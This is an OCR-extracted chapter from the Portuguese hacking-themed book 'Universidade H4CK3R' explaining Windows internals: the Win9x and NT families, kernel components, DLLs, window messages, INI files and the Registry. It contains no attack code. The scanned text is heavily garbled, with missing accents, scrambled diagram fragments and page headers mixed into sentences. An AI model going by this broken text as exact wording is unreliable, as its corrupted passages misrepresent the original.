de compartilhamento.

Redes 1[

Windows
Captulo
"Aujourd'hui rOI;demain rien ",I (Ditado popular francs]

Plataforma

1 Hoje

rei.

alllanl1

nada.

I Universidade

H4CK3R I

Costuma-se dizer que mais de 90% dos computadores destinados ao usurio final - seja em empresas ou em casa - possuem algum sistema Microsoft Windows instalado. Esses nmeros podem at ser questionados, mas inegvel que a empresa fez um bom trabalho de usabilidade (e de marketing!) para fazer o usurio e o desenvolve dor de software acreditarem que o Windows a nica opo de sistema operacional para leigos. Hoje a realidade at um pouco pior que isso. As pessoas compram seus computadores em supermercados com Windows instalado de fbrica e acreditam que o programa parte intrnseca da mquina. Elas no acham que precisem de opes. Assim como compra-se um automvel j com o volante, compra-se computadores j com o sistema da gigante de Redmond.

As ~~famlias" Windows
H duas correntes de desenvolvimento do Microsoft Windows, formando quase que duas plataformas completamente diferentes internamente, embora conservando a mesma aparncia externa.

Famlia Win9x
Composta pelos sistemas Windows 95, Windows 98 e Windows Me, essa famlia caracteriza-se por possuir um kernel em parte baseado no antigo MSDOS e, portanto, compatibilidade com programas antigos. Tambm por isso possuem algumas limitaes. A famlia Win9x uma verso quase totalmente reescrita do Windows 3, que no era exatamente um sistema operacional. O Windows 3 era considerado por alguns apenas como uma interface grfica que rodava em cima do MS-DOS.Os autores concordam com essa afIrmao apenas em parte. O Windows 3 acrescentava caractersticas h muito desejadas pelos usurios e j presente h alguns anos em sistemas Macintosh, como o processamento multitarefa e um melhor gerenciamento de memria. E o usurio podia interagir com o sistema utilizando um dispositivo apontador, o mouse. Isso desobrigava-o a decorar dezenas de comandos para chamar seus programas e gerenciar seus arquivos. Com efeito, podemos dizer que o conjunto MS-DOS+ Windows 3 deveria ser considerado um sistema operacional completo. O Windows 95 era um passo frente. As APIs (Application Programming Interfaces - uma espcie de "tomada" do sistema operacional em que voc encaixa o seu programa) foram completamente remodeladas. Mas o kernel do sistema era um "frankenstein" contendo vrios elementos novos costurados em uma verso atualizada do velho MS-DOS,embora totalmente escondido. As verses subseqentes (Windows 98, Windows 98 SE e Windows Me) ainda carregam verses (sempre atualizadas, verdade) desse kernel. Como o MS-DOSera monotarefa, transform-Io em um sistema multitarefa como o Windows requereu diversos work-arounds e programas externos rodando na rea do usurio e

41
Plataforma Windows [

Universidade 1 ano

executando tarefas que seriam do kemel. O gerenciamento de memria um exemplo. Talvez isso explique a conhecida instabilidade desses sistemas, especialmente os erros do tipo GPEA adoo do MS-DOScomo ponto de partida para o desenvolvimento das novas verses do Windows teve, entretanto, a vantagem de oferecer compatibilidade a software e hardware antigos.

Famlia WinNT
composta pelos sistemas operacionais Windows NT, Windows 2000 e Windows :xp2. Sua primeira verso, o Windows NT, foi desenvolvida para ser o sistema operacional de redes da Microsoft. Utilizando tecnologia de rede do LAN Manager com a interface grfica do Windows 3.1 e um novo projeto de kemel, o Windows NT pretendia brigar num mercado dominado por mquinas Unix e Novell. Mesmo com desempenho, escalabilidade e confiabilidade, na poca, menores do que os de seus adversrios, a Microsoft conseguiu, em poucos anos, alavancar o Windows NT como a plataforma de redes mais vivel e utilizada. Fez isso baseada em trs princpios: ~ Preo baixo: uma licena do Windows NT custava muitssimo menos que licenas do Novell Netware ou de qualquer sabor de Unix. E rodava em servidores baseados em processadores Intel, hardware mais barato que as carssimas RISC dos Unices. ~ Facilidade de configurao e operao: enquanto os servidores Unix e Novell possuam interfaces com o usurio baseadas em caractere, o Windows NT disponibilizava para os administradores de sistema uma interface grfica semelhante dos micros desktop. ~ Marketing: a mquina de divulgao da empresa, localizada em Redmond, no estado de Washington, EUA, mundialmente conhecida. Eles foram muito felizes ao promover o novo sistema operacional de redes da Microsoft, evidenciando ao mximo na mdia os dois princpios anteriores. Os sistemas operacionais para servidores de rede da Microsoft, impulsionados pelos trs princpios citados e auxiliados pela inrcia dos concorrentes, levaram o Windows NT ao primeiro lugar em servidores administrativos durante a dcada de 90. Mas a Microsoft percebeu que havia um mercado tambm para SOs que rodassem nos computadores das pessoas, em casa ou no escritrio. Essas pessoas necessitavam da estabilidade e confiabilidade que o kerne1 do Windows NT proporcionava. A famlia Windows NT logo ganhou verses para ser usada nas mquinascliente (ou seja, em casa ou no escritrio). Era chamado de Windows NT Workstation, e possua uma estabilidade muito superior de qualquer mem2 Apesar de a Microsoft divulgar que o Windows 2000 um sistema totalmente reescrito, apenas baseado no Windows NT, sabe-se por fontes no oflciais que ele ainda possui muita coisa intocada do NT original. O Windows Xp, por outro lado, possui partes do Windows 2000 e do Windows Me, para garantir compatibilidade com os programas antigos do usurio. O que quer dizer que ainda h tecnologias do NT, do Win9x e mesmo do velho MS-DOS nele.

1651
I

Plataforma

Windows

I Universidade

H4CK3R I

bro da famlia Win9x at hoje. Era, basicamente, o kerne1 do NT Server sem os servios de servidor e com algumas modificaes para adapt-Io aos computadores de mesa. Alguns usurios, cansados de ter de reiniciar a mquina e per-

der dados a cada GPF,migraram para o Windows NT Workstation3 .


Mas nem tudo eram flores. O kerne1 do Windows NT era muito diferente do kernel da famliaWin9x. Quebrar a compatibilidade entre sistemas operacionais significava quebrar a compatibilidade com software e hardware antigos. Muitos deles simplesmente no funcionariam no Windows NT. O usurio deveria escolher, ento, entre estabilidade e compatibilidade. A ltima encarnao do Windows, batizada de XP,pretende acabar com esse problema. Utilizando tcnicas de convergncia entre as tecnologias das famlias Win9x e NT, a Microsoft conseguiu criar uma verso de seu produto mais famoso que, segundo ela, alia a estabilidade do Windows 2000 e a compatibilidade do Windows Me. A verso Server do Windows Xp, chamada de Windows 2003 Server4, deve estar no mercado em meados deste ano.

Nos bastidores...
Qualquer um que tenha o objetivo de se tornar um "hacker" (qualquer que seja o sentido que voc empregue palavra) deve conhecer profundamente o funcionamento de pelo menos um sistema operacional. Apesar de os sistemas Unix serem uma boa escola, por sua modularizao extremamente didtica, entender o que se passa "nas coxias" dos sistemas da Microsoft ajuda a entender como um sistema pode evoluir, e possveis maneiras de contornar problemas inerentes compatibilidade com tecnologias antigas. Devido natureza proprietria e fechada dos produtos Microsoft, nem todas as informaes sobre os sistemas so divulgadas. Este captulo tomou como ponto de partida o knowledge base autorizado pela empresa. No entraremos em muitos detalhes a respeito do kernel do sistema.

Estrutura
De uma forma geral, ambas as famlias do sistema operacional Windows empregam o conceito de microkernel: apenas os servios mais bsicos so implementados. Todos os outros so executados por programas externos, que rodam em user mode, ou seja, como programas comuns. Grosso modo, isso significa que o usurio pode perigosamente ter acesso a partes do kernel.
3 Alguns usurios tentaram outros sistemas, como o OS/2 (antes de ser morto pela IBM), o Macintosh (neste caso, substituindo no s o software, mas todo o computador) e, mais recentemente, opes como o BeOS, o FreeBSD e o linux. Com exceo do OS/2 e do BeOS (recentemente descontinuado), a maioria das pessoas que migrou para outras plataformas no retornou ao Windows. Sintomtico? 4 Essa verso teve oficialmente quatro nomes diferentes, e outros tantos extra-oficiais. Chegou a ser chamada de Windows .NET Server numa referncia s novas tecnologias baseadas em XML da empresa, mas ao que parece a Microsoft desistiu da associao no nome. Mesmo assim, o produto est sendo chamado no site da empresa de "o aglutinador das tecnologias .NET" ("the glue to all .NET technologies'').

,61
Plataforma Windows I

Universidade 1ano

UserMode

,,

,,

,,

,, ,

, ,,
"
,

Kernel Mode

~~

~~"

Hardware

Internamente, as duas famlias de produtos Windows so muito diferentes, embora exista uma camada de compatibilidade para que ambas as plataformas possam compartilhar os mesmos drivers de equipamentos e perifricos, os famigerados Device Drivers. A famlia NT possui ainda camadas de compatibilidade de software que permite ao sistema operacional executar com sucesso programas desenvolvidos para a famliaWin9x e mesmo para padres aliengenas como UnixIPOSIX,Windows 16 bits e OS/2 da IBM.
~ Famlia Wm9x

Acessrios

Programas Shell de 32-bits

C:J
I

Registro

NcleodoWindows98 ("core")
Gerenciadorde sistemasde Gerenciadorde arquIvos Configurao instalveis(lFS)
Oevice Orivers

EJ
I

Gerenciadorde DriversWDM

1671
I

Plataforma

Windows

I Universidade

H4CK3R I

Observe atentamente o diagrama. A estrutura interna do Windows 9x aparentemente modular. H uma diviso clara entre o ncleo (normalmente chamado de core) e as outras partes do sistema. Tal diviso, embora visvel no papel, extremamente tnue na prtica. Vrios processos crticos do sistema rodam na mesma rea de memria e disputam os mesmos recursos de processamento que os programas do usurio. Apesar de simplificar o desenvolvimento do SO e permitir compatibilidade com hardware e software legados, no h como escapar das instabilidades que essa estrutura acarreta. Os programas do usurio (planilha, editor de textos, navegador, etc.) no acessam o ncleo diretamente. Cada programa de 32 bits roda em uma mquina virtual separada, e tem a impresso de possuir um hardware e um ncleo do sistema operacional exclusivos. Programas antigos para o MS-DOStambm rodam em mquinas virtuais separadas, mesmo porque eles tendem a capturar todos os recursos da mquina para si e, no fossem as mquina virtuais, seria impossvel rodlos no Wmdows.J os programas de 16 bits do Wmdows 3, devido sua natureza multitarefa colaborativa, rodam todos numa mesma mquina virtual de 16 bits. H um shell para intetfacear as mensagens entre cada mquina virtual dos programas e o ncleo real do sistema.Esseshell tambm se encarrega de fornecer os widgets (botes, barras de rolagem, indicadores de progresso, decorao das janelas) para as aplicaes e de mostrar as janelas j montadas para o usurio, de forma que ele possa interagir com o sistema.Esseshell tambm fornece alguns dos utilitriose ferramentas do sistema,como o Wmdows Explorer,o Painel de Controle e o Ambiente de Rede.

Registro

N,eo do Windows 98("core") ,/


Gerenciadorde sistemasde arquivos instalves(lFS) Gerenpiadorde
,

I
Gerenciadorde DriversWDM

tE

II Configurao

(Botes,barras de progresso,caixas de dilogo modos de visualizao de janelas...)

o corao da famlia Win9x o core system. Composto por trs componentes: o kernel, responsvel pelo controle de processos, de EIS e do hardware; o user, que controla os elementos manipulveis pelo usurio (janelas, eventos disparados pelo usurio, cones, menus) e multimdia; e o GDI ou Graphics Device Interface, que interage com o hardware de vdeo. O subsistema de impresso tambm est situado no GDI.

1681
Plataforma Windows [

Universidade 1 ano

Acessrios

Programas Shell de 32-bits

]C
I

:J

Registro

Ncleo do Windows
Gerenciador
de

98 ("core")

VMM

sistemas de arquivos

instalveis (lFS)

Gerenqi-aor de 1I COr)fiyurao
,

Gerenciador de Drivers WDM

~y-evice Orivers

GOl Kernel

A famlia Win9x tem o compromisso de ser compatvel com aplicativos antigos de 16 bits do Windows 3.11 e mesmo do MS-DOS.Portanto, os componentes kernel, user e GDI do ncleo so, na verdade, duplas de arquivos. Os componentes correspondentes do ancio Windows 3.11 ainda esto presentes e os aplicativos antigos os acessam. Esse um dos maiores calcanhares-de-aquiles da famlia Win9x: os programas de 16 bits no trabalham em modo protegido, nem acessam um core que trabalhe nesse modo. O resultado a destruio completa da preempo multitarefa do sistema e do gerenciamento de memria. Entre o ncleo e os drivers para os dispositivos de hardware existe uma camada tambm de interface, com rotinas que tornam o core do Windows independente do hardware utilizado. Um dos componentes dessa camada o VMM ou Virtual Machine Manager. o VMM que cria e administra cada uma das mquinas virtuais para todos os programas do usurio, e o prprio ncleo do sistema tem sua prpria VM.

"im
.'

.''''''''.'

EI

............ <, Programas


Shell de 32-bits

Registro

Ncleo do Windows 98 ("core")


Gerenciador sistemas de de Gerenciador de

Gerenciador de

arquivos II Configurao instalveis (lFS)

II Orivers WOM

Agendador de processos

Interdacepara o MS-DOS em modo protegido

Device Orivers

1691
I

Plataforma

Windows

I Universidade

H4CK3R I

Outro componente dessa camada o IFS ou Installable File System. O sistema no preparado para reconhecer um nmero [mito de sistemas de arquivos de maneira nativa. Em vez disso, o IFSpermite que novos file systems sejam "plugados", fornecendo assim compatibilidade para virtualmente quaisquer tipos deles - basta que algum escreva o mdulo correspondente.
Acessrios I'

Programas

I rC :J
II
Registro

Shellde32-bits
Ncleo do Windows 98 ("core")

~~

_-"_~44-ft~-"

~~/[~V~M~~I

..
. I I

: ..o,', "
. ' ,

"Gr~~Ciadorde

Config'!:Ir~o

Gerenciador de Drivers WDM

'. ..

Gerenciador de EIS (lOS) Camadas diversas* Camadas SCSI Oriver de conexo Mini-camada de conexo SCSI

~ o
~

J
o

O Gerenciador de Configuraes, por outro lado, o responsvel pela auto-matiz ao da instalao de hardware Plug and Play e seus drivers.

Acessrios
I

Programas

O mdulo rege todo o processo de talao, e mantm atualizada a base de dados de hardware no Registro.
instalao, configurao e desins-

Shell de 32-bits Ncleo do Windows 98 ("core") GeJ8Ilciada(d""


s";stem as de

arquIvos
instalveis ,
,

(IFS)

.
.., , ,
-

" I' . ,I

Gerenciadorde DriversWDM

170 I
Plataforma Windows
r

Universidade 1 ano

Por fIm, o WDM (Win32 Driver Model) uma camada de traduo entre os drivers de dispositivo e o ncleo. Ele "engana" o driver, fazendo-o pensar que est instalado no kernel de um Windows NT. Com isso, fornecedores de hardware podem desenvolver drivers que funcionem em ambas as plataformas indiferentemente. A camada do sistema operacional mais prxima do hardware a de device drivers. Estes so compostos por dois tipos complementares de drivers, os Universais e os Mini-drivers. Veja a ilustrao:

Device

Os drivers Universais so grandes guarda-chuvas com especifIcaes genricas para os dispositivos. Por exemplo, h um driver chamado Universal Modem que contm informaes genricas compartilhadas pela maioria dos modens. Isso facilita sobremaneira o desenvolvimento de drivers com as caractersticas especficas. Tais caractersticas so implementadas em drivers auxiliares chamados de Mini-drivers. No nosso exemplo dos modens, um fabricante pode se basear no driver Universal e escrever um Mini-driver apenas com as especifIcaes que diferirem. Note ainda que muitos dispositivos de hardware podem trabalhar somente com o driver universal. O tipo de driver mais comum o Virtualization Driver, ou VxD.Alguns dispositivos de hardware devem ser capazes de atender simultaneamente a solicitaes de diversos programas. Esses dispositivos usam VxDs para criar vrias instncias de si mesmos. Cada mquina virtual do sistema pensa, ento, que o hardware em questo exclusivo para si. O ltimo elemento , em companhia da Interface com o Usurio, o mais palpvel. O Registro um banco de dados que guarda as confIguraes globais de todo o sistema, bem como as de cada aplicativo. Qualquer alterao comportamental ou de funcionamento do sistema deve ser efetuada no Registro. ~ FamliaWinNT A arquitetura da famlia WinNT difere radicalmente da famlia Win9x. Nela, h uma separao explcita entre o modo de operao do kerne1 e o modo de operao do usurio. Os programas do usurio rodam em um espao de memria exclusivo e possuem um tempo determinado de uso de cpu. Os processos rodando no modo kerne1 esto, dessa forma, protegidos contra a ao predatria de programas "mal-educados".
I 1

71

Plataforma

Windows

I Universidade

H4CK3R I

System Support processes

Service Processes

User applications

Enviroment subsystems

~
~H.a.rdware

SubsystemOLls

J
Windowing andgraphics

User Mode Kernel Mode

Executive
~~r~elm ..ml [MOevceOriv:rs J
.Abstra'~ti.~~...f~Y.~..i::~~~.~~:.:...1

Ao contrrio de sistemas operacionais mais antigos, como o Unix original e os sistemas de mainframes, o kernel do Windows NT e descendentes no monoltico. Em vez de carregar todos os tipos de device drivers possveis e imaginveis dentro da" cachola" ,o Windows emprega o conceito de microkerne1: um ncleo com apenas os servios mais crticos e essenciais que pode ser comp1ementado com programas auxiliares externos. A maioria desses programas externos roda em modo user, deixando o kernel mo de apenas para os servios de mais baixo nvel e alta prioridade. Tais servios esto divididos em cinco grandes componentes. O primeiro o GDI, que controla os dispositivos de vdeo de forma semelhante ao da famlia Win9x. Os quatro outros componentes - Windows Executive, Kernel, Device Drivers e HAL- so to intimamente ligados entre si que aparecem num mesmo quadro em nosso diagrama. O Executive abriga diversos mdulos de interface entre o kernel e os outros componentes, tanto para o usurio e programas quanto para o hardware - poderia ser considerado um "shell" do kernel. Os device drivers trabalham de maneira tambm muito semelhante aos da famlia Win9x, com arquitetura baseada em VxDs e WDM. Por ltimo, o Hardware Abstraction Layer ou HAL,fornece uma camada de abstrao para o kernel. O princpio de funcionamento do HAL muito parecido com o do modelo Universal!Mini-driver. O HAL"engana" o ncleo do Windows, fazendo com que ele acredite que o hardware seja sempre o mesmo. Se alguma coisa na arquitetura do PC mudar - por exemplo, um novo mtodo de acesso memria -, basta instalar um novo HAL. No haver necessidade de reinstalar uma verso mais nova do Windows, muito menos reescrev-Io todo novamente. Os sistemas da famlia WinNT tambm se utilizam do conceito de Registro para manter as configuraes do sistema. A estrutura do registro , inclusive, muito parecida com a da famlia Win9x. 721
Plataforma Windows I

Universidade

ano

1
..

~, ; .-: /~
1
I I I I
I I

I I I I

User

Mede

I
:

Kernel Mede

"
. . .

Observe Dentro

as semelhanas

e diferenas um mdulo

entre este diagrama VMM com funo

e o da famlia Win9x. idntica ao do Windows e de Chamadas e mtodos Segurana, externos. ne-

do Executive, temos mdulos do novo

9x. Trs outros de Sistema)

(Gerenciador gerenciamento mdulo

de Objetos, de

de Processos de

cuidam Um

instncias

processos de

para que

o kernel. fornece

o Gerenciador e segurana

de Referncia para

servios de autenticao de que a famlia NT

os subsistemas

Lembre-se

verdadeiramente e controle

multiusuria

e, portanto, mdulo,

cessita de rotinas de autenticao do de Gerenciador para dispositivos mente Os com vrios

de acesso. O ltimo os servios

chama-

de E/S (I/O Manager), de hardware, comunicao

agrega

de E/S do Windows

externa

(serial e redes) e principal-

os dispositivos subsistemas

de armazenamento rodam em modo

(discos e fitas). usurio controlam que h um a criao de

que

mquinas exclusivo

virtuais para as aplicaes para segurana com que

dos usurios. Observe os dilogos

subsistema para no o usuncleo

apresenta

de autenticao de Segurana

rio e comunica-se do sistema Queime mostrados contrar Depois chope para um

o Gerenciador ou negar acesso.

de Referncia

prover

pouco

de neurnios e interage cada um

e tente descobrir com os outros.

como Pesquise

cada na

um

dos mdulos at en-

a funciona explicaes

Internet por

sobre

deles, sem saia de

deixar casa

de procurar e v ver

nenhum. um

disso, largue talvez...

o livro, arrume-se,

gente. Tomar

1731
I

Plataforma

Windows

I Universidade

H4CK3R I

Entidades
o Windows um sistema operacional baseado em eventos. Por eventos, entendemos qualquer atividade em algum hardware - o movimento do mouse, por exemplo - ou os sinais provenientes de programas - quando uma janela fechada. O Windows possui trs entidades principais: programas, janelas e mensagens. Os programas so os aplicativos que as pessoas usam: seu editor de textos preferido, a calculadora, o jogo de Pacincia ou o emulado r de terminal. Cada programa possui uma ou mais janelas. O usurio se comunica com os programas atravs do sistema operacional, que se utiliza de mensagens para tal. Cada programa se comunica com suas vrias janelas tambm atravs de mensagens. . Os programas so compostos de um ou mais arquivos. Os tipos mais comuns de arquivos em programas para Windows so os de extenso EXE (as partes do cdigo especficas daquele programa), DLL (bibliotecas compartilhados de funes) e, mais recentemente, controles ActiveX (um tipo especial de DLL contendo extenses multimdia). As DLLsso componentes importantes nos sistemas Windows. Acrnimo para Dinamic Link Libraries, elas so bibliotecas de funes que podem ser acessadas por qualquer aplicativo. Alm de reduzir o tamanho dos arquivos EXE, so as DLLs que permitem que vrios programas compartilhem o mesmo recurso ou a mesma caracterstica. Por exemplo, todos os aplicativos para Windows possuem a mesma aparncia devido a uma DLLem especial, a GDI.DLL,que cuida da interface grfica com o usurio. Praticamente todo o kernel do Windows baseado em arquivos DLP . Programadores podem, ainda, utilizar funes das Microsoft Foundation Classes para facilitar o seu trabalho. As MFCs esto contidas numa DLL chamada MFC.DLL. Os programas geram diversas janelas. Alm da apresentao visual, as janelas so entidades que encerram em si dezenas, s vezes centenas, de campos de informao que controlam cores, tamanho da janela, tamanho da borda, posio dos objetos dentro da janela, etc. Um deles chamado de handJe, que identifica o programa que gerou a janela. Outro campo o window hand1e, que identifica a janela com um nmero nico (diferente de zero) no sistema. Um terceiro campo de interesse o Z-order. a partir dele que o sistema define a ordem de apresentao das janelas. Para a comunicao entre o sistema operacional, os programas e suas janelas, so emitidas mensagens entre eles. Uma mensagem nada mais do que uma pequena estrutura de dados. Normalmente, ela inclui:

5 Obviamente no estamos considerando as partes do keme1 herdadas do MS-DOS. No Apndice "o Keme1 do MS-DOS" (que est no CD) temos uma dpida explicao de como funciona o keme1 do MS-DOS.

1741
Plataforma Windows [

Universidade 1ano

~ ~ ~ ~

Timestamp (hora em que foi emitida) da mensagem Identificador da mensagem Identificador da janela (window handIe) Dois ou mais campos para a mensagem em si

o identificador da mensagem informa ao programa ou janela o "assunto" da mensagem. Os nomes das mensagens so sugestivos, como por exemplo WM_LBUTTONDOWN (boto esquerdo do mouse foi pressionado) ou WM_KEYDOWN (uma tecla foi pressionada). Entretanto, internamente cada um desses nomes substitudo por uma constante numrica. Os nomes so apenas mnemnicos6. As mensagens so geradas de forma bem simples. Vamos imaginar uma situao real: o usurio pressionou a tecla "A:'.O teclado envia ao computador um trem de dados indicando primeiro que uma tecla foi pressionada, depois qual tecla foi essa e, em seguida, o nmero ASCIIdo caractere correspondente tecla. Quando o usurio solta a tecla, o teclado ainda envia um sinal indicando esse evento. Cada pea de hardware em seu computador possui um sinal eltrico chamado interrupo associado a ela. A ElOS do computador, quando recebe um sinal de interrupo, pra tudo o que est fazendo e desvia o processamento para um determinado endereo associado a essa interrupo, e entrega o controle da CPU ao programa que l reside. Esse programa chamado de manipulador de interrupes ou interrupt handler. O interrupt handler no um programa da ElOS e sim uma rotina do sistema operacional, portanto bvio que o Wmdows instalou l seu prprio manipulador para montar mensagens baseadas nas interrupes recebidas. A mensagem do exemplo conter o identificador de mensagens WM_KEYDOWN,um nmero identificando qual tecla foi pressionada e o identificador da janela em que a tecla foi pressionada. Depois disso, a mensagem ser enviada janela. O teclado gerar ainda outra mensagem identificada como WM- CHAR,contendo o cdigo ASCII da tecla. Quando a tecla for solta, gerada uma mensagem WM_KEYRELEASE. As mensagens geradas vo para uma ma chamada application message queue. Cada programa possui sua ma, e o Windows direciona corretamente as mensagens para cada um. As aplicaes vo sacando cada mensagem da ma e as redirecionando para as janelas correspondentes. As janelas, por sua vez, possuem funes embutidas chamadas de window procedures, que tratam os dados recebidos na mensagem e decidem o que fazer com eles. Algumas mensagens no so direcionadas a nenhuma janela. Tais mensagens caem no procedimento default do Windows e so tratadas pelo prprio kernel.
6 No objetivo deste livro servir de referncia para programadores. Entretanto, se voc quiser realmente aprender como vrus e cavalos de tria funcionam no Windows, necessrio que voc domine um pouco mais de programao do que o bsico de Visual Basic ou DeIphi. Bons pontos de partida so as documentaes da Microsoft Foundation Classes (MFC), do Windows Software DeveIopment Kit (WSDK) e o site oficial da Microsoft (www.microsoft.com).

1751
1

Plataforma

Windows

I Universidade H4CK3R I

Como mesmo que eu fao aquilo?


Todo sistema operacional possui um mecanismo para manter suas configuraes. Com o Windows no podia ser diferente, mas, ao contrrio de vrios outros SOs que utilizam arquivos de texto puro, a Microsoft criou uma estrutura compilada (binria) e extremamente obscura de guardar as coisas. H prs e contras nessa abordagem.

Os arquivos INI
o veterano Windows 3 possua uma maneira aparentemente fcil de manter as configuraes do sistema. Por meio de arquivos de texto simples com extenso INI, era possvel definir todas as configuraes do Windows e das aplicaes, carregar drivers de dispositivo e mdulos para o kernel do sistema operacional. Inicialmente havia dois arquivos, WIN.INI e SYSTEM.INI.O primeiro armazenava as configuraes referentes ao usurio (cores, cones, posio das janelas) e o segundo as partes referentes mquina, ao hardware e ao funcionamento interno do Windows - drivers de dispositivo, programas residentes, caminhos e arquivos internos. O arquivo SYSTEM.INIguardava tambm configuraes dos programas e aplicativos que o usurio instalava em sua mquina. Mas a vida era dura antes do Windows 95. Os arquivos INI podiam ter um tamanho mximo de apenas 64 KB. Mesmo sendo um arquivo de texto puro essa limitao permitia guardar uma quantidade de informaes muito pequena. A soluo foi colocar, no SYSTEM.INI, apontadores para o local de outros arquivos INI, e cada aplicao poderia ter o seu. Os programas ainda tinham permisso de manter suas configuraes no SYSTEM.INI,mas os desenvolvedores eram encorajados a criar seus prprios INIs. Por exemplo, no SYSTEM.INIhavia uma indicao para o Microsoft Excel (C/OFFICEIEXCEL.INI), e nele o Excel guardaria suas configuraes. Simples, no? Nem tanto. No incio, os usurios instalavam poucos programas. Gerenciar poucos INIs era tarefa fcil para o Windows e para o usurio. Mas, medida que novos programas comearam a aparecer - alguns srios e uma imensa maioria de inutilidades repletas de barulhinhos -, j no era possvel desempenhar tal funo com a galhardia de outrora. Como determinar qual dos arquivos INI (os de sistema e os das aplicaes) ter precedncia, caso algum parmetro esteja conflitante? O limite de 64 KBtambm comeou a ficar pequeno para a quantidade de detalhes que cada aplicao tinha de armazenar, e mesmo o SYSTEM.INI estava repleto de vetores apontando para os outros INIs. Outros fatores contribuam para o aumento do tamanho dos INIs: aplicativos que eram desinstalados normalmente no removiam suas linhas do SYSTEM.INI, e mesmo um simples upgrade de programa (por exemplo, do WordPerfect 2 para o 3), na maioria das vezes, terminava em configuraes duplicadas no arquivo. No boot, o Wmdows era obrigado a ler o contedo de paquidrmicos WIN.INI e SYSTEM.INI, que, mesmo menores do que 64 KB, contribuam para a queda de desempenho do sistema.

761
Plataforma Windows [

Universidade 1 ano

Registrar o qu?
A partir do Windows NT,e notadamente no Windows 95, a Microsoft introduziu uma nova maneira de lidar com essas informaes que fosse, ao mesmo tempo, centralizada e flexvel. Batizada de Registro do Windows (ou, em ingls, Windows Registry), o novo sistema de armazenamento alivia o SO de ter de lidar com uma infmidade de arquivos INI espalhados por diversos diretrios. Mas o que , exatamente, esse negcio de Registro? Podemos defmi-Io como um banco de dados em que so arquivadas todas as configuraes do sistema. Sempre que um usurio faz alguma mudana no Painel de Controle, altera alguma associao de arquivo ou instala um programa, tais mudanas so guardadas nele. O sistema ainda usa o Registro para rastrear os softwares instalados, seus arquivos e como cada programa se relaciona com os outros. Em termos puramente lgicos, o registro uma entidade nica, embora esteja fisicamente contido em um conjunto de arquivos separados por afinidade de configurao. Cada um deles possui um tamanho limite de 40 MB - mais do que suficiente para qualquer aplicao. Na fanlia Wm9x temos os arquivos SYSTEM.DAT, que trata das configuraes de hardware e software, e USERDAT, que trata das configuraes pessoais de cada usurio. O Wmdows Me ainda possui um terceiro arquivo chamado CLASSES.DAT, que armazena algumas informaes sobre programas e associaes de arquivos. Os arquivos SYSTEM.DAT e CLASSES.DAT, sendo nicos, esto sempre no diretrio C\ WINDOWS.Sempre h um USERDATnesse mesmo diretrio, tambm. No entanto, se o seu sistema estiver configurado para permitir perfis, cada usurio ter seu prprio USERDATno diretrio C\WINDOWS\ Proilles\<nome do usurio>\, ficando o arquivo do diretrio do Wmdows apenas como default. Quando o usurio faz login no sistema, sua rea de trabalho personalizada ser lida e carregada. Caso a utilizao de perfis de usurio esteja desabilitada, todos os usurios compartilharo as mesmas preferncias gravadas em C\WINDOWS\USERDAT. A fanlia WinNT (incluindo a o Windows 2000) mantm todos os arquivos do registro em %SystemRoot%\System32\Config.Ao contrrio do Windows 9x, seis arquivos abrigam o registro da famlia NT: DEFAULT.DAT, SAM.DAT, SECURlTY.DAT, SOFTWARE.DAT, SYSTEM.DAT e NTUSERDAT.Os arquivos que contm o registro so chamados de Hives7. Apesar das diferenas fisicas, logicamente os registros das duas fanlias so muito parecidos. Ambos residem em arquivos binrios, so baseados em elementos simples, compostos por uma dupla "nome = dado", so organizados em cinco ou mais grandes sees, chamadas de Root Keys (ou HKEY s) e no podem ser editados diretamente: necessrio usar programas especiais para tal. Existem diversas ferramentas que podem ser utilizadas para visualizar e editar o registro. A mais simples o Editor de Registros (REGEDIT.EXE), includo no prprio Wmdows. Usaremos o RegEdit para "escarafunchar" um pouco em nosso sistema.
7 Uma curiosidade: os Hives do Wmdows XP no possuem a extenso .dat

1771

] Plataforma

Windows

I Universidade

H4CK3R

A estrutura do Registro
Para organizar melhor os dados no registro, adotou-se uma estrutura hierrquica. Por isso mesmo essa estrutura assemelha-se organizao em diretrios e subdiretrios - ou, usando a terminologia Microsoft, "pastas e subpastas". O RegEdit tira partido disso e apresenta essa estrutura de forma muito similar que o Windows Explorer mostra o contedo de seu disco rgido.
.,u.]..[ ".,..".

EI'~ Meu computador IJI1JiiIHKEY_CLASSES_ROOT $1:iI HKEY_CURRENT_USER ffi.GfjjJHKEY_LOCAL_MACHINE B~ HKEY_USERS IJJ~ .DEFAULT EI~ Software B'~ Micro$oft

[valor no definido)

,
.

I!H~"

I~H~ HKEY _CURRENT _CONFIG


ffJ1ill2IHKEY_DYN_DATA

Observe que os dados esto organizados em seis grandes grupos cujos nomes iniciam-se com a sigla HKEY Cada um desses grupos chamado de seo ou Root Key e pode conter valores chamados de chaves. Por exemplo, no Root Key HKEY_USERS do exemplo acima, h uma chave chamada .DEFAULT e outra chamada Software. Chaves podem possuir duplas nome/dado chamadas de valor ou outras chaves. A chave Software possui uma subchave chamada Microsoft, que por sua vez possui outra subchave chamada Windows, que por sua vez possui um valor padro. So as duplas nome/dado que realmente armazenam as informaes no registro. H trs tipos de valores: String (um valor em texto puro), Binary (um valor binrio - normalN.omei." mente dados referentes a hardware e chaves de ati;.!ILba&$v<.< "w J (Padro) (valorno definido) "1" vao criptografadas de software) e DWORD (norJ AUach ToD e,klop "16" 8!1 Bit,PerPixel malmente um valor booleano - 1 para ativado, O "240.180" 8!1 D e$ktopPo$ "96" 8!1 DPILogica~ para desativado).A utilizao de cada um deles de~"C"M:M'" pender do contexto. H cinco sees em algumas verses do Windows e seis nas demais. Cada seo tem uma especializao e contm as informaes referentes a ela. ~ HKEY_CLASSES_ROOT - Esta seo contm todas as associaes de arquivo do Windows. por meio dela que o Windows suporta drag and drop e OLE e permite a definio de atalhos no sistema. Alguns aspectos da GUI

178 I
Plataforma Windows r

Universidade 1ano

